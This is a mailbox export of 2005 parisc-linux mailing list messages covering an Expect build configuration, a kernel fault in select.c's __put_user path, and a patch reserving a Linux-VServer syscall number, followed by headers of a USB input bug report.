  by mx0.gmx.net (mx039) with SMTP; 05 May 2005 18:20:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4F8017D666;
	Thu,  5 May 2005 10:20:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15945-10; Thu, 5 May 2005 10:20:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49F597D667;
	Thu,  5 May 2005 10:20:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 429707D65F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 May 2005 10:20:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16024-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 May 2005 10:20:34 -0600 (MDT)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id ACFC37D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 May 2005 10:20:34 -0600 (MDT)
Original-Received: from [83.134.227.220] (helo=[83.134.227.220])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DTj5Q-00051G-9a; Thu, 05 May 2005 18:20:28 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.7) Gecko/20050420 Debian/1.7.7-2
X-Accept-Language: en
In-Reply-To: <200505022046.j42KkQnh000694@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sSIIYl18eSEkVb6WZHQhaXN1IGRvb8Cd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22700

Hello Dave,

Come back to expect pb:
	o I just grab dpkg src and while I rebuild it localy I noticed that:
./configure [snip] --enable-threads
[snip]
checking for building with threads... configure: WARNING: Expect is not fully thread-enabled.  Although significant work has been 
done towards that goal, it is not complete.  Continue compiling at your own risk.
no (default)
[snip]
	? do you also used this '--enable-threads' options

	o I also grab the latest 5.43.0 release and btw lfs recommended the patch: expect-5.43.0-spawn-1.patch
	  <http://lfs-matrix.net/lfs/view/development/chapter05/expect.html>
	? do you already test it?

Thanks,
	Joel

John David Anglin wrote:
>>>>  IAOQ[0]: sys_poll+0x274/0x298
>>>>  IAOQ[1]: sys_poll+0x278/0x298
>>>>  RP(r2): sys_poll+0x17c/0x298
>>>>
>>>>  # disasm 0ed5d240
>>>>    0:   0e d5 d2 40     sth r21,0(sr3,r22)
>>>
>>>Where did this address come from?  IAOQ[0] = 0x101b22e4.
>>
>>Sorry, this is the faulting instruction.  However, this isn't much help.
>>This isn't GCC code (GCC doesn't generate code using sr3).  It's part of
>>a syscall asm.  The value in sr3 seems wierd.
> 
> 
> The problem code is in fs/select.c:
> 
>                 for (j=0; j < walk->len; j++, ufds++) {
> 			if(__put_user(fds[j].revents, &ufds->revents))
> 				goto out_fds;
> 		}
> 
> The sth is in the __put_user code.
> 
> Dave
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Thu, 5 May 2005 13:07:54 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <200505051707.j45H7sH3016561@hiauly1.hia.nrc.ca>
References: <427A47C6.7060400@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623780 14503 80.91.229.3 (22 Nov 2014 02:36:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:20 +0000 (UTC)
Cc: lamont@debian.org,
 parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 May 2005 17:08:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 05 May 2005 19:08:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C4ED77D64C;
	Thu,  5 May 2005 11:08:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16342-06; Thu, 5 May 2005 11:08:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE7857D63F;
	Thu,  5 May 2005 11:08:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 147FA7D639
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 May 2005 11:08:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16342-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 May 2005 11:08:01 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 7CE837D635
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 May 2005 11:08:01 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j45H7thF016562; Thu, 5 May 2005 13:07:55 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j45H7sH3016561;
	Thu, 5 May 2005 13:07:54 -0400 (EDT)
In-Reply-To: <427A47C6.7060400@tiscali.be> from "Joel Soete" at May 5,
	2005 04:20:22 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XTYIYoU/eSEkO76WZHQhaXN1IGRvbwCf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22701

> Come back to expect pb:
> 	o I just grab dpkg src and while I rebuild it localy I noticed that:
> ./configure [snip] --enable-threads
> [snip]
> checking for building with threads... configure: WARNING: Expect is not fully thread-enabled.  Although significant work has been 
> done towards that goal, it is not complete.  Continue compiling at your own risk.

I don't configure it using --enable-threads.  I've been using something
like this:

# ../configure  --prefix=/home/dave/opt/gnu --host=hppa-linux --build=hppa-linux --with-tcl=/usr/lib/tcl8.3 --with-tk=/usr/lib/tk8.3 --with-tk=/usr/lib/tk8.3 --with-tclinclude=/usr/include/tcl8.3/tcl-private --with-tkinclude=/usr/include/tcl8.3/tk-private

I used the following CFLAGS:

CFLAGS = -O1 -g -ansi -D_SVID_SOURCE -D_POSIX_SOURCE

-ansi and the defines are because of the wait flag issue.

> 	o I also grab the latest 5.43.0 release and btw lfs recommended the patch: expect-5.43.0-spawn-1.patch
> 	  <http://lfs-matrix.net/lfs/view/development/chapter05/expect.html>
> 	? do you already test it?

I'm running 5.43.0 on one system.  I haven't tried the patch.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Thu, 05 May 2005 18:41:06 +0000
Lines: 46
Approved: news@gmane.org
Message-ID: <427A68C2.90907@tiscali.be>
References: <200505051707.j45H7sH3016561@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623780 14507 80.91.229.3 (22 Nov 2014 02:36:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:20 +0000 (UTC)
Cc: lamont@debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 May 2005 18:42:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 05 May 2005 20:42:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 86BDD7D6AA;
	Thu,  5 May 2005 12:42:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17041-01; Thu, 5 May 2005 12:42:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5020B7D6A2;
	Thu,  5 May 2005 12:42:02 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A9C4E7D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 May 2005 12:41:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16726-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 May 2005 12:41:25 -0600 (MDT)
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by free.linux.hp.com (Postfix) with ESMTP id 67FB67D69D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 May 2005 12:41:17 -0600 (MDT)
Original-Received: from [83.134.227.220] (helo=[83.134.227.220])
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DTlC2-0002RR-Tk; Thu, 05 May 2005 20:35:27 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.7) Gecko/20050420 Debian/1.7.7-2
X-Accept-Language: en
In-Reply-To: <200505051707.j45H7sH3016561@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XQwIYtcgeSEkQL6WZHQhaXN1IGRvb8Cd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22702



John David Anglin wrote:
>>Come back to expect pb:
>>	o I just grab dpkg src and while I rebuild it localy I noticed that:
>>./configure [snip] --enable-threads
>>[snip]
>>checking for building with threads... configure: WARNING: Expect is not fully thread-enabled.  Although significant work has been 
>>done towards that goal, it is not complete.  Continue compiling at your own risk.
> 
> 
> I don't configure it using --enable-threads.  I've been using something
> like this:
> 
> # ../configure  --prefix=/home/dave/opt/gnu --host=hppa-linux --build=hppa-linux --with-tcl=/usr/lib/tcl8.3 --with-tk=/usr/lib/tk8.3 --with-tk=/usr/lib/tk8.3 --with-tclinclude=/usr/include/tcl8.3/tcl-private --with-tkinclude=/usr/include/tcl8.3/tk-private
> 
> I used the following CFLAGS:
> 
> CFLAGS = -O1 -g -ansi -D_SVID_SOURCE -D_POSIX_SOURCE
> 
> -ansi and the defines are because of the wait flag issue.
> 
Ok just rebuild my own dpkg with this interesting options ...

> 
>>	o I also grab the latest 5.43.0 release and btw lfs recommended the patch: expect-5.43.0-spawn-1.patch
>>	  <http://lfs-matrix.net/lfs/view/development/chapter05/expect.html>
>>	? do you already test it?
> 
> 
> I'm running 5.43.0 on one system.  I haven't tried the patch.
> 
and also with this patch

run autoexpect as simple test seems ok ;-)

I will try to rebuild gcc-4.0 dpkg now...

Thanks for advise,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Linux-VServer syscall number for parisc
	(hppa/64) ...
Date: Thu, 5 May 2005 23:37:57 -0600
Lines: 98
Approved: news@gmane.org
Message-ID: <20050506053757.GC25195@colo.lackof.org>
References: <20050506002253.GA27506@MAIL.13thfloor.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623781 14510 80.91.229.3 (22 Nov 2014 02:36:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Herbert Poetzl <herbert@13thfloor.at>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 May 2005 05:35:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx049) with SMTP; 06 May 2005 07:35:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D346E7D650;
	Thu,  5 May 2005 23:35:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20447-02; Thu, 5 May 2005 23:35:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 84A8C7D658;
	Thu,  5 May 2005 23:35:17 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6B7567D650
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 May 2005 23:35:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20118-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 May 2005 23:35:15 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id D572F7D641
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 May 2005 23:35:14 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 0EC6C29804C;
	Thu,  5 May 2005 23:37:59 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26963-10; Thu, 5 May 2005 23:37:57 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 93EC829803F; Thu,  5 May 2005 23:37:57 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050506002253.GA27506@MAIL.13thfloor.at>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TGcJYtgqeSEkQ76WZHQhaXN1IGRvb4Cc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22703

On Fri, May 06, 2005 at 02:22:53AM +0200, Herbert Poetzl wrote:
> 
> Greetings!
> 
> now that we are preparing for a 2.0 linux-vserver
> release, and the debian folks actually have support
> for hppa/64 it sounds like a good idea to me to ask
> once again for a reserved syscall number on parisc

Herbert,
Certainly. Sorry for being the laggards here...

Willy,
This look ok to you?

Index: include/asm-parisc/unistd.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/unistd.h,v
retrieving revision 1.16
diff -u -p -r1.16 unistd.h
--- include/asm-parisc/unistd.h 23 Mar 2005 17:13:38 -0000      1.16
+++ include/asm-parisc/unistd.h 6 May 2005 05:16:21 -0000
@@ -755,8 +755,9 @@
 #define __NR_mbind		(__NR_Linux + 260)
 #define __NR_get_mempolicy	(__NR_Linux + 261)
 #define __NR_set_mempolicy	(__NR_Linux + 262)
+#define __NR_vserver		(__NR_Linux + 263)
 
-#define __NR_Linux_syscalls	263
+#define __NR_Linux_syscalls	264
 
 #define HPUX_GATEWAY_ADDR	0xC0000004
 #define LINUX_GATEWAY_ADDR	0x100


We are also missing a few other syscalls:
	__NR_sys_kexec_load
	__NR_add_key
	__NR_request_key
	__NR_keyctl

Should I add those as well?

thanks,
grant


> FYI:
> 
> linux-vserver both 1.x and the upcoming 2.0 do
> support parisc/hppa quite fine ...
> 
> Linux-VServer Test [V0.12] (C) 2003-2005 H.Poetzl
> chcontext is working.
> chbind is working.
> Linux 2.6.11.8-pa4-vs2.0-pre4 parisc64/0.30.207/0.30.207 [Ea]
> VCI:  0001:0025 273 03110076
> ---
> [000]# succeeded.
> [001]# succeeded.
> [011]# succeeded.
> [031]# succeeded.
> [101]# succeeded.
> [102]# succeeded.
> [201]# succeeded.
> [202]# succeeded.
> 
> and basically all other archs except the parisc/hppa
> arch has already reserved a syscall number for it ..
> 
>  arch      number  maintainer
>  x86_64       236  [Andi Kleen]
>  s390         263  [Martin Schwidefsky]
>  sparc/64     267  [David S.Miller]
>  i386         273  [Rik/Linus/Andrew]
>  sh           273  [Kazumoto Kojima]
>  sh64         301  [Paul Mundt?]
>  ppc/64       257  [Benjamin Herrenschmidt]
>  mips o32     277  [Ralf Baechle]
>  mips N64     236  [Ralf Baechle]
>  mips N32     240  [Ralf Baechle]
>  m68k         278  [Geert Uytterhoeven]
>  h8300        273  [Yoshinori Sato]
>  alpha        428  [Richard Henderson]
>  ia64        1269  [David Mosberger]
>  arm/arm26    313  [Russell M.King]
> 
> would be really nice if I could add parisc/hppa to 
> this list ...
> 
> TIA,
> Herbert
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.12-rc3-pa3 usb keyboard and mouse don't respond
Date: Sun, 8 May 2005 12:23:50 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200505081623.j48GNoF4003723@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623781 14511 80.91.229.3 (22 Nov 2014 02:36:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 May 2005 16:24:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 08 May 2005 18:24:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B9607D635;
	Sun,  8 May 2005 10:24:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05242-10; Sun, 8 May 2005 10:24:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B8F87D637;
	Sun,  8 May 2005 10:24:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0FF197D633
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 May 2005 10:23:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05301-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 8 May 2005 10:23:56 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 722EE7D611
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  8 May 2005 10:23:56 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j48GNohF003725 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 8 May 2005 12:23:51 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j48GNoF4003723
	for parisc-linux@lists.parisc-linux.org;
	Sun, 8 May 2005 12:23:50 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: elgMYh9FeSEkXr6WZHQhaXN1IGRvbwCb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22704

